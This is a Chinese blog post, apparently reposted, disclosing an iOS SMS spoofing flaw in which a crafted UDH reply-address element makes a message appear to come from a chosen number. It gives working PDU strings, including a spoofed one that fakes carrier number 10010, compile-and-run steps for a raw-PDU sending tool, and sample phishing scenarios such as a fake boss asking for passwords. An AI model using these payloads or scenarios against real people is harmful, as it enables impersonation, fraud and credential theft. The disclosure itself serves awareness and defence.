iPhone 短信欺骗漏洞披露

来源:互联网 发布:布谷鸟软件手机版 编辑:程序博客网 时间:2024/05/22 17:11

iPhone 短信欺骗漏洞披露

警告:禁止利用文中提到的内容、原理发布任何漏洞利用工具,后果自负。

(国内骗子都那么多了,大家都积点德吧)

 

简介

         4天前Pod2g发文Never trust SMS: iOS text spoofin

http://pod2g-ios.blogspot.com/2012/08/never-trust-sms-ios-text-spoofing.html

该漏洞能影响所有iOS 版本包括最新的iOS 6 beta 4。

并发布利用程序:https://github.com/pod2g/sendrawpdu/这个并不是可以利用的工具,只是个命令行用PDU模式发送SMS的工具,其中的欺骗代码没有给出。其实此类工具很多

而且这个也是由sendmodem http://code.google.com/p/iphone-elite/修改而来的。

 

描述

         发送短信常用两种模式Text(文本)和PDU(Protocol Data Unit,协议数据单元)模式,此漏洞通过PDU模式发送SMS,并在UDH (User Data Header)中插入自定义回复地址的号码。这样构造出来的SMS后发给iPhone用户,在iPhone短信应用里收到的SMS ,来源就是自定义过的“回复地址”号码,而且iPhone用户回复的时候,也会直接回复到这个自定义的号码而不会给真实的发送者回复。

 

影响

         在国内的话,会被各种垃圾短信,诈骗团伙等利用,还有更邪恶的社会工程学。

案例1:伪造一个目标用户的朋友号码,发一些绝交的内容。

案例2:给某个公司的网站管理员发送获取密码的短信,并伪装成该公司领导手机号,短信中明确指出在外边不方便,要将密码发送到xxxx@xxx.com ,勿回短信。

 

防御

         苹果目前没有修补该漏洞,以后会不会,我觉得会根据利用的广泛程度。

有说开启iMessage可以防御?测试依然可以利用漏洞。

个人用户如何御?我遵循五不原则:不听、不看、不信、不转帐、不汇款(没错就是银行ATM机边上天天播放的那段…..)

有条件的同学可以暂时换个手机,目前安卓、Nokia的系列系统没有发现该问题,如果有人测试安卓或其他系统存在该问题请给出手机型号、系统版本,方便预警。

 

过程

         过多的AT操作SIM命令和PDU的内容不说了,相关文章也很多。如 http://hi.baidu.com/shadowex/item/629b32549c2696beacc857c1

翻阅3GPP标准中SMS部分 http://www.3gpp.org/ftp/Specs/html-info/23040.htm 随便找个09年或者最新的都可以。

 

其中有一段提到回复地址会被滥用,

NOTE:      Despite the fact that MMI aspects of the ME are out of the scope of the present document, it must be mentioned that this mechanism might open the door to potential abuse. It is desirable that the user is made aware in some way that the reply address of the incoming message is different from the originator’s one, and that the user is presented with the original TP-OA address to identify the sender of the SM .

 

UDH各位置标识,其中22就是利用关键的地方。

 

 

 

知道了原理,我们利用Baseband命令直接操作SIM ,以PDU模式发送SMS.

如果手头没有其他工具就先编译sendrawpdu,我的XCODE版本有问题,无法编译,直接将main.c扔到iPhone里编译(之前已存在编译环境gcc、头文件等),代码需要小改动。

 

编译完

gcc -o raw main.c

 

运行如下

root# ./raw

usage: ./raw <pdu data>

 

直接把生成的PDU传入程序。PDU的Encode和Decode网上代码、程序都很多。如 http://rednaxela.net/pdu.php

 

 

root#./raw 0001000791680180F60004027965

等待一会过程比较慢长。(该段PDU的含义是给10086发送内容为ye的短信,正常短信)

 

发送成功后,测试插入UDH,刚开始研究对UDH还不太熟悉,搜了下现成的工具目前只有那么一款支持插入UDH(google能搜到这里不提了),生成PDU时加上UDH自定义的回复地址,再次测试

 

root#./raw 0041000B813108108300F0000807004F60597D554A

(这条PDU含义为给13800138000发送"你好啊",正常短信)

 

root#./raw 0041000B813108108300F000080E07220505800110F04F60597D554A

(这条PDU含义为给13800138000发送"你好啊",并且UDH的回复地址修改成10010)

这样13800138000的iPhone用户,就会收到一条10010发来的"你好啊"短信。

 

UDH各标识的具体值为:

 

 USER DATA LENGTH : 14 octets, 7 UCS2 chars
 UDH LENGTH : 7 octets
 UDH : 22 05 05 80 01 10 F0 
 UDH ELEMENTS : 22 - Reply Address Element
   5 (0x05) Bytes Information Element
    Answer to 10010
 USER DATA (TEXT) : <CJK Unified Ideographs>
  你好啊
  4F 60 59 7D 55 4A

 

 

 

以下是我给自己发的测试。

这里的10086就是UDH中的回复地址,被iPhone识别成发信者了。

 

 

相关漏洞

2008年的时候ITSX的研究员就发现过,因PDU畸形数据而导致的dos问题,使用者接收到畸形数据的SMS就会导致系统崩溃。当时影响诺基亚3310、3330、6210系列手机。

原创粉丝点击